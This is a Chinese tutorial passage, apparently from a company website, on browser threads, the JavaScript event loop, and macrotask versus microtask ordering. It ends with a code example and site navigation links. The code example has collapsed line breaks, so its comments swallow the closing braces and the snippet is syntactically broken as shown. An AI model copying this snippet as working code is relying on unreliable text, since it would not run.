事件触发线程：属于浏览器内核线程，主要用于控制事件，例如鼠标、键盘等，当事件被触发时，就会把事件的处理函数推进事件队列，等待 JS 引擎线程执行
定时器触发线程：主要控制setInterval和setTimeout，用来计时，计时完毕后，则把定时器的处理函数推进事件队列中，等待 JS 引擎线程。
HTTP 异步请求线程：通过XMLHttpRequest连接后，通过浏览器新开的一个线程，监控readyState状态变更时，如果设置了该状态的回调函数，则将该状态的处理函数推进事件队列中，等待JS引擎线程执行。

注：浏览器对同一域名的并发连接数是有限的，通常为 6 个。

宏任务

分为：

同步任务：按照顺序执行，只有前一个任务完成后，才能执行后一个任务
异步任务：不直接执行，只有满足触发条件时，相关的线程将该异步任务推进任务队列中，等待JS引擎主线程上的任务执行完毕时才开始执行，例如异步Ajax、DOM事件，setTimeout等。

微任务

微任务是ES6和Node环境下的，主要 API 有：Promise，process.nextTick。

微任务的执行在宏任务的同步任务之后，在异步任务之前。

代码例子

console.log('1'); // 宏任务 同步
setTimeout(function() { console.log('2'); // 宏任务 异步})
new Promise(function(resolve) { console.log('3'); // 宏任务 同步 resolve();}).then(function() { console.log('4') // 微任务})
console.log('5') // 宏任务 同步

以上代码输出顺序为：1,3,5,4,2

来源：4ark.me/post/b6c7c0a2.html，侵删

在线咨询

上一篇：简单几部，教你从零开始搭建自己的博客网站之建站要素
下一篇：计算神经学大牛加盟复旦，曾在Nature、Science狂发数十篇论文

您的项目需求

*请认真填写需求信息，我们会在24小时内与您取得联系。

整合营销服务商

Web安全之CSRF、XSS攻防原理及解决方案

#知识点梳理

#加载页面和渲染过程

#性能优化

#详细解释

#Web 安全

您的项目需求